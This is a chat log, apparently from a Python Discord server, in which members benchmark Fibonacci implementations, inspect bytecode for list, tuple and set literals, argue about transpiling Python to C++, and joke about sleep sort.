theres a fun one if you're just learning python

rugged sparrow
versed eagle
#

i could do that
but maybe I want a segfault

#

:P

#

segfaults are fun

sick hound
#

?

#

segfaults?

remote prawn
#

whats the best obfuscator for python?

versed eagle
#

that's a matter of opinion

#

the best is probably doing it by hand, but I assume you mean automated tools?

serene stratus
#

Still depends what your goal is

#

Protecting the source code or compiling it to a native binary

remote prawn
serene stratus
#

Probably super plus mode from PyArmor then, with a renamer below it

#

And @quartz wave obfuscator

#

With the dunders

remote prawn
sick hound
remote prawn
serene stratus
serene stratus
versed eagle
#

I'm just curious to see what your opinion is

#

given that you're the resident Expert on Obfuscators

serene stratus
empty coyote
#

e!
print(type(None))

#

!e
print(type(None))

night quarryBOT
#

@empty coyote :white_check_mark: Your 3.11 eval job has completed with return code 0.

<class 'NoneType'>
fleet bridge
#

i dont trust you, i wont run it

visual crest
#

nah no needed

#

you can use a compiler online

#

it does nothing

#

just prints something

fleet bridge
visual crest
#

yeah

fleet bridge
#

i think it is very huge code for print('something')
11kb of code to print ~15 characters

visual crest
#

the "pattern" is very big

#

the final size is like 10kb + actual size

serene stratus
serene stratus
#

Nice

#

Sauce?

rugged owl
versed eagle
#

impressive
does the result compile and run properly?

#

it doesn't look like namespace py is ever defined
is there a header that needs to be included as well?

sick hound
teal saffron
#

hey guys, does making a benchmark with fibonacci numbers make it weird?

#

!e

import time

def fib(num):
    if num in [0, 1]:
        return num
    else:
        return fib(num - 1) + fib(num - 2)

seconds = 0

for n in range(30):
    t1 = time.perf_counter()
    fib(n+1)
    t2 = time.perf_counter()
    seconds += t2-t1
score = round((100/seconds)*100, 2)
print(f'Tests finished in {round(seconds, 2)}s\n\nScore: {score}')
fleet bridge
#

I dont think so. But you can try different implementations of fib and find the fastest option, then share results here. I think it will be interesting

#

I see at least three possible options how you can make your current fib function faster

fleet bridge
teal saffron
quartz wave
# teal saffron !e ```py import time def fib(num): if num in [0, 1]: return num ...
import time

def fib(num, cache={0: 0, 1: 1}):
    if num in cache:
        return num
    else:
        num = cache[num] = fib(num - 1) + fib(num - 2)
        return num

seconds = 0

for n in range(30):
    t1 = time.perf_counter()
    fib(n+1)
    t2 = time.perf_counter()
    seconds += t2-t1
score = round((100/seconds)*100, 2)
print(f'Tests finished in {round(seconds, 2)}s\n\nScore: {score}')
teal saffron
#

what did you to the code?

#

the cache thing

fleet bridge
fleet bridge
#

*, __cache=...

teal saffron
#

oh ok

#

hey @fleet bridge how can i make the fib function much faster?

def fib(n):
  if n in [0,1]:
    return n
  else:
    return fib(n-1) + fib(n-2)
snow beacon
#

It's faster to directly calculate the nth Fibonacci number using the formula rather than doing recursion. Loops are much faster than recursion in Python, but you don't even need loops.

teal saffron
#

how can i do it without loops?

#

if is the fastest option

snow beacon
#

The formula is called Binet's formula. (phi**n - (-phi)**-n) / sqrt(5)

#

phi or φ is equal to (1 + √5)/2.

teal saffron
#

hmm ill try

snow beacon
#

You'll get floating point answers instead of integers, but you can convert using int(...).

quartz wave
#
fib = lambda n: round((phi**n - (-phi)**-n) / 5**.5)
quartz wave
teal saffron
#

ok

#

!e

phi = (1 + 5**.5)/2
fib = lambda n: round((phi**n - (-phi)**-n) / 5**.5)

print(fib(30))
#

oof

night quarryBOT
#

@teal saffron :white_check_mark: Your 3.11 eval job has completed with return code 0.

832040
teal saffron
#

nice

#

@fleet bridge why () or {} is faster than []?

snow beacon
#

I think creating a tuple or set is potentially faster than creating a list, but that could be something to check about.

teal saffron
#

ill try

#

the speed is the same

#

!e

import time


def fib(n):
  if n in {0,1}:
    return n
  else:
    return fib(n-1) + fib(n-2)

t1 = time.perf_counter_ns()
fib(40)
t2 = time.perf_counter_ns()
print(t2-t1)
#

hmm

#

i have an idea

#

!e

from functools import lru_cache as lc

@lc(None)
def fib(n):
    if n in [0,1]:
        return n
    return fib(n-1) + fib(n-2)

print(fib(100))
night quarryBOT
#

@teal saffron :white_check_mark: Your 3.11 eval job has completed with return code 0.

354224848179261915075
teal saffron
#

nice

#

!e

from functools import lru_cache as lc
import time


@lc(None)
def fib(n):
    if n in [0,1]:
        return n
    return fib(n-1) + fib(n-2)

t1 = time.perf_counter()
fib(128)
t2 = time.perf_counter()
print(f'{round(t2-t1)}s elapsed')
night quarryBOT
#

@teal saffron :white_check_mark: Your 3.11 eval job has completed with return code 0.

0s elapsed
snow beacon
fleet bridge
fleet bridge
snow beacon
#

!e ```py
x = (1, 2)
y = (1, 2)
print(x is y)

night quarryBOT
#

@snow beacon :white_check_mark: Your 3.11 eval job has completed with return code 0.

True
snow beacon
#

This seems to differ when it's run in the repl.

astral rover
#

if you look at the bytecode it actually loads a constant tuple for the list anyways im pretty sure

#

!e ```py
import dis
def fib(n):
if n in [0,1]:
return n
return fib(n-1) + fib(n-2)
dis.dis(fib)

night quarryBOT
#

@astral rover :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 |   2           0 RESUME                   0
002 | 
003 |   3           2 LOAD_FAST                0 (n)
004 |               4 LOAD_CONST               1 ((0, 1))
005 |               6 CONTAINS_OP              0
006 |               8 POP_JUMP_FORWARD_IF_FALSE     2 (to 14)
007 | 
008 |   4          10 LOAD_FAST                0 (n)
009 |              12 RETURN_VALUE
010 | 
011 |   5     >>   14 LOAD_GLOBAL              1 (NULL + fib)
... (truncated - too many lines)

Full output: https://paste.pythondiscord.com/afezogiwiz.txt?noredirect

quartz wave
astral rover
#

004 | 4 LOAD_CONST 1 ((0, 1))

quartz wave
#

!ti py def fib(n): if n in [0,1]: return n return fib(n-1) + fib(n-2) ```py
fib(18)

#

!ti py def fib(n): if n in {0,1}: return n return fib(n-1) + fib(n-2) ```py
fib(18)

night quarryBOT
#

@quartz wave :white_check_mark: Your 3.11 timeit job has completed with return code 0.

200 loops, best of 5: 1.03 msec per loop
#

@quartz wave :white_check_mark: Your 3.11 timeit job has completed with return code 0.

200 loops, best of 5: 1.02 msec per loop
quartz wave
#

there's a little difference between them

visual crest
#

what

#

how

#

the {} makes difference

#

?

quartz wave
#

!ti py fib = lambda n: round((1.618033988749895**n - (-1.618033988749895)**-n) / 2.23606797749979) ```py
fib(18)

night quarryBOT
#

@quartz wave :white_check_mark: Your 3.11 timeit job has completed with return code 0.

500000 loops, best of 5: 465 nsec per loop
quartz wave
#

now that's fast

#

!ti py def fib(n, *, __cache__={0:0,1:1}): if n in __cache__: return __cache__[n] res = __cache__[n] = round((1.618033988749895**n - (-1.618033988749895)**-n) / 2.23606797749979) return res ```py
fib(18)

night quarryBOT
#

@quartz wave :white_check_mark: Your 3.11 timeit job has completed with return code 0.

2000000 loops, best of 5: 129 nsec per loop
fleet bridge
snow beacon
fleet bridge
#

Because it must be created every time you use list literal

proper vault
#

empty lists are also pooled.

#

!e print(id([]) == id([]))

night quarryBOT
#

@proper vault :white_check_mark: Your 3.11 eval job has completed with return code 0.

True
restive void
#

!e

x = []
y = []
print(id(x) == id(y))
night quarryBOT
#

@restive void :white_check_mark: Your 3.11 eval job has completed with return code 0.

False
restive void
quartz wave
#

leads to crazy stuff like this ```py

id([]) == id([1,5,13,[4,5,6],354,1][3])
True

proper vault
rugged sparrow
#

So something like x, y = (0,1), (0,1) in the repl will result in x and y being the same tuple

quartz ore
#

This is cool that your using notepad ++ 🙂

gleaming timber
supple sequoia
#

does anyone know altair python ?

fleet bridge
gleaming timber
versed eagle
#

frozensets are immutable

#

like tuples

gleaming timber
fleet bridge
night quarryBOT
#

@fleet bridge :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 |   0           0 RESUME                   0
002 | 
003 |   1           2 LOAD_NAME                0 (a)
004 |               4 LOAD_CONST               0 (frozenset({1, 2}))
005 |               6 CONTAINS_OP              0
006 |               8 RETURN_VALUE
007 |   0           0 RESUME                   0
008 | 
009 |   1           2 LOAD_NAME                0 (a)
010 |               4 LOAD_CONST               0 ((1, 2))
011 |               6 CONTAINS_OP              0
... (truncated - too many lines)

Full output: https://paste.pythondiscord.com/ilegizupor.txt?noredirect

gleaming timber
#

wait so python actually optimize sets and lists if they are guaranteed to not be modified
wow

fleet bridge
#

!e ```py
from dis import dis as d
d('[1,2]')
d('(1,2)')

night quarryBOT
#

@fleet bridge :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 |   0           0 RESUME                   0
002 | 
003 |   1           2 LOAD_CONST               0 (1)
004 |               4 LOAD_CONST               1 (2)
005 |               6 BUILD_LIST               2
006 |               8 RETURN_VALUE
007 |   0           0 RESUME                   0
008 | 
009 |   1           2 LOAD_CONST               0 ((1, 2))
010 |               4 RETURN_VALUE
versed eagle
# gleaming timber when exactly

checking membership of a list literal will be the same as checking membership of a tuple literal
so it optimises to make it a tuple

for example:
x in [1,2,3,] will always (unless you explicitly modify the behaviour) be the same result as x in (1,2,3,)

fleet bridge
#
x in {1,2}                                          23 ns ± 9.5 ns [1.9 s  /  46519885]
x in (1,2)                                          46 ns ±  22 ns [1.8 s  /  28237385]
x in [1,2]                                          54 ns ±  27 ns [2.1 s  /  29134780] # same as `x in (1,2)`
{1,2}                                               79 ns ±  13 ns [1.9 s  /  20004400]
(1,2)                                             -3.4 ns ± 1.8 ns [1.9 s  / 142867126] # it generates no code, so it takes 0 ns
[1,2]                                               44 ns ± 2.3 ns [1.9 s  /  32041292]
``` my very bad benchmarks
versed eagle
#

ah

versed eagle
#

are you planning on writing a runtime for it?

#

if not, I might take a stab at it

earnest wing
#

A runtime for C++?

#

Ambitious

versed eagle
#

yeah
like I said, I'd take a stab at it
it's pretty unlikely that if I do try I'll be able to do more than add support for primitive builtin types
which is already mostly done bc things like std::string and boost::multiprecision::cpp_int have been done for me

old socket
#

Imagine adding Generic[T]

versed eagle
#

i mean
thats just a void*, no?

#

at least, that's how I'd implement it

#

everything is a pointer to a number, which is the type of the object after the number

#

then just have a massive switch statement for every builtin type

#

and user defined types get to not exist

fleet bridge
#

but number is not a pointer...

versed eagle
#

everything would be a pointer to a number

fleet bridge
#

in python, yes

versed eagle
#

thats how I'm saying I'd do it

fleet bridge
#

but it will be very slow i guess

versed eagle
#

yep

fleet bridge
#

mypyc and similar things are not boosting python code too much

versed eagle
#

?

#

whats mypyc

old socket
versed eagle
#

yeah

#

its meant to represent raw memory

old socket
#

But to use it you'd need to type cast to something else right?

versed eagle
#

yep

old socket
#

So essentially it's Unknown in python

#

Like dict instead of dict[str, int]

versed eagle
#

I would do switch(*((int*)address))

#

and then dereference address+sizeof(int)

old socket
#

Switch case sounds good but how are you getting the type now?

versed eagle
#

the int represents the type

old socket
#

Just lexing the [type]?

#

Well what if someone did list[UserType]

versed eagle
#

idc about user types

old socket
#

Oh

versed eagle
#

for now, just thinking about builtins

#

and I can deal with user types later

old socket
#

But then you have other builtins that are generic as well

#

list[list[int]]

versed eagle
#

by builtin type I meant builtin primitive type

#

like, int, bool, str, list, etc

#

everything else is beyond me

old socket
#

Your forcing list[Unknown]?

versed eagle
#

wdym

old socket
#

list without a type is list[Unknown]

#

whereas list[int] is a list of ints

versed eagle
#

yeah

old socket
#

If you put pyright on strict you'll get an error with list, dict, tuple, etc

versed eagle
#

it'd be list of unknowns

#

or actually
now that i think about it that way of handling things is terrible

#

it'd be better to copy python's approach and have everything be of type Py_Object (or something similar)

#

and then i can just store type information as part of the class

#

hm
maybe theres a good reason things are done the way they are lmao

old socket
#

Probably

#

List would be pretty easy for the primitive types

#

If it's simple

#

list<int> foo;

versed eagle
#

i mean, I can just do std::vector<Py_Object*> as the type of the internal list
and then expose methods to operate on it

#

for int there's boost::multiprecision::cpp_int

old socket
#

oh std::vector

#

Well that's pretty much the python's version of a list

versed eagle
#

yeah I'm gonna heavily use pre-existing stuff

old socket
#

iirc std::list is linked?

versed eagle
versed eagle
#

and then there's std::set and std::map for set and dict respectively

old socket
versed eagle
#

mhm

old socket
#

I can see why cpython just uses Py_Object then append type data

#

It would be way to much of a pain to do it any other way

versed eagle
#

yeah

old socket
#

I mean, I can't actually even think of another way that would work off the top of my head

#

but I'm not a huge clang programmer

versed eagle
old socket
#

In a sense with python you can basically say it's all JSON (sorta)

#

In the way classes work, and since everything is a class

versed eagle
#

ah true

old socket
#

Some things are "unhashable" though

#

So you cannot serialise

versed eagle
#

you can store pointers though
since those would be unique for each instance of python

old socket
#

Can you guarantee when you serialise that, that memory location is free?

fleet bridge
fleet bridge
versed eagle
#

bc it'd be translated from python to c++

old socket
versed eagle
#

.

#

.

versed eagle
fleet bridge
versed eagle
#

it would be c++ though

#

not Python

#

its being transpiled to c++

fleet bridge
#

IT IS THE SAME AS MYPYC OR NUITKA OR CYTHON

versed eagle
#

cython still tries to keep some elements and syntax of python iirc

fleet bridge
#

they are also transpiling python to C

versed eagle
#

which is Not what this would do

fleet bridge
fleet bridge
#

anyway you must reimplement huge amount of cpython code

versed eagle
#

and its still python at that point

versed eagle
#

since it's not Python

fleet bridge
#

if you have python semantics - it is python
so your compiled code will be python too

versed eagle
#

wdym "python semantics"

fleet bridge
versed eagle
#

but its not python

#

its c++

#

thats the whole point

fleet bridge
#

C code + CPython interpreter (written in C) = C

#

so mypyc is making C binaries, not python

#

so there are already some Python->C transpilers

versed eagle
#
  1. i still dont know wth mypyc is
  2. wdym "C binaries"
fleet bridge
#

(following your logic)

versed eagle
#

I'm stating an already established fact

fleet bridge
#

i still dont know wth mypyc is
Python->C transpiler
wdym "C binaries"
are you going to compile your generated code? or you are going to write C interpreter?

versed eagle
#

by "C binaries" you mean a binary?
there's no binary for the c language specifically

#

and it's not C

versed eagle
#

its c++

fleet bridge
versed eagle
#

if you embed a python interpreter, then it's just python

#

wasn't talking about what I was doing, was talking about what you were saying

fleet bridge
#

PYTHON INTERPRETER IS WRITTEN IN C SO ALL APP IS WRITTEN IN C (GENERATED CODE + INTERPRETER)

versed eagle
#

that's not how it works

#

if I write a Python interpreter in Bash, then is all of Python actually Bash?

#

no

fleet bridge
#

you are also going to implement entire python interpreter again, so it is still python (because you are embedding python interpreter)

versed eagle
#

no

#

it wouldnt be an interpreter

#

and im not embedding anything

fleet bridge
versed eagle
#

you were the one who was talking about embedding

versed eagle
#

ITS NOT

#

ITS C++

#

that's the WHOLE POINT

#

i keep telling you this

#

it's not Python

#

it's C++

fleet bridge
versed eagle
#

lmao

fleet bridge
#

you are going to transpile PYTHON to CPP
so you at least need PYTHON code, and then transpile it to CPP

versed eagle
#

yes

#

thats what I've been saying

#

you have python
you turn it into C++

#

then you have C++

#

and you compile it

fleet bridge
versed eagle
#

wdym "are you ok?"

#

you've literally been ignoring what I'm saying

fleet bridge
#

you contradict yourself

versed eagle
#

you contradict yourself

fleet bridge
#

where

versed eagle
#

let me try to explain the whole thing again

#

what we're doing here

fleet bridge
#

lets go

versed eagle
#

is starting with Python

#

then transpiling that to C++

#

then compiling said generated C++ along with a library

#

to generate a native executable

fleet bridge
#

that's how I understood you

versed eagle
#

then why do you keep saying that it's python

#

what we're compiling is c++

versed eagle
#

we are not compiling Python, we are compiling C++

#

and there is no embedding of an interpreter

#

or anything of the sort

fleet bridge
#

there is no embedding of an interpreter
how do you implement heterogeneous lists, for example?

#

or dicts

#

or strings

#

or long integers

versed eagle
fleet bridge
#

or lambdas

#

or *args, **kwargs

versed eagle
versed eagle
versed eagle
versed eagle
versed eagle
#

this is so off-topic lmao

proper vault
fleet bridge
fleet bridge
proper vault
#

It's closer to bytearray

#

C++ doesn't have a python str equivalent since python str is kind of an insane type

versed eagle
#

how so?

fleet bridge
#

str can contain 1-byte, 2-byte or 4-byte characters depending on string content

versed eagle
proper vault
#

IG you could do it as a vector of 4byte chars

#

But the memory situation would be quite tragic

fleet bridge
#
class X:
    def f(self): ...
class Y:
    def f(self): ...

if random() == 0:
    x = X()
else:
    x = Y()

x.f() # what function will be called?
proper vault
#

In the end, if you go down this route you will just end up with a python implementation more or less

fleet bridge
versed eagle
proper vault
#

Just one producing C++ instead of bytecode. Similar to sth like numba or cython

fleet bridge
versed eagle
proper vault
#

Yeah, if you want to make python impl, go for it. But don't expect to leverage the standard C++ library directly or to generate sensible C++ code

fleet bridge
proper vault
fleet bridge
#

ah, ok

versed eagle
proper vault
#

Do try it

versed eagle
proper vault
#

I do think it's going to be much more annoying than you think, but it is a worthwhile thing to try

versed eagle
#

im just going with what they were already doing

versed eagle
#

yeah ik I'm not gonna be able to do it lmao

versed eagle
#

ik im never going to realistically be able to do something like that

#

but nothing stops me from trying, if I decide to

#

since this is all still a hypothetical discussion iirc

#

i never said I was gonna do it ¯_(ツ)_/¯

versed eagle
#

anyways im gonna go sleep

#

was a fun conversation I had with yall
ty for putting up with my nonsense for the better part of an hour

#

gn <3

fleet bridge
#

runtime for all python semantics already exists - it is the CPython interpreter

old socket
#

!e ```py
import time

def add(x: int, y: int) -> int:
start = time.time()
time.sleep(x)
time.sleep(y)
return int(time.time() - start)

print(add(1, 2))

night quarryBOT
#

@old socket :white_check_mark: Your 3.11 eval job has completed with return code 0.

3
old socket
#

Saw this somewhere and thought it was pretty funny

versed eagle
#

(ik im supposed to be asleep but actually theres this thing called sleep sort thats hilarious)

#

(sleep in a thread for the amount of time, and since the shortest amount of time will finish first you then add it back into the list)

old socket
#

yooo

#

I saw the sleep sort too

#

lmao that shit had me rolling

versed eagle
#

i wonder if sleep is turing complete

old socket
#

Sleep by itself probably not

versed eagle
#

well, sleep with some other stuff

#

only functions (that you don't define) you can call are sleep() and time()

#

you can use arithmetic

#

but no if, for, while, class, with, or try

old socket
#

I cannot see how you'd be able to get iteration or recursion with just those two

versed eagle
#

if you have threading stuff available then you can spawn threads to iterate

old socket
#

Are you allowed to use operators?

versed eagle
#

yeah

versed eagle
#

math + bitwise stuff

#

are allowed

#
  • boolean operators
#

and, or, not

#

hm

#

ooh

#

conditionals can be done

#

using waitpid

#

if you spawn a process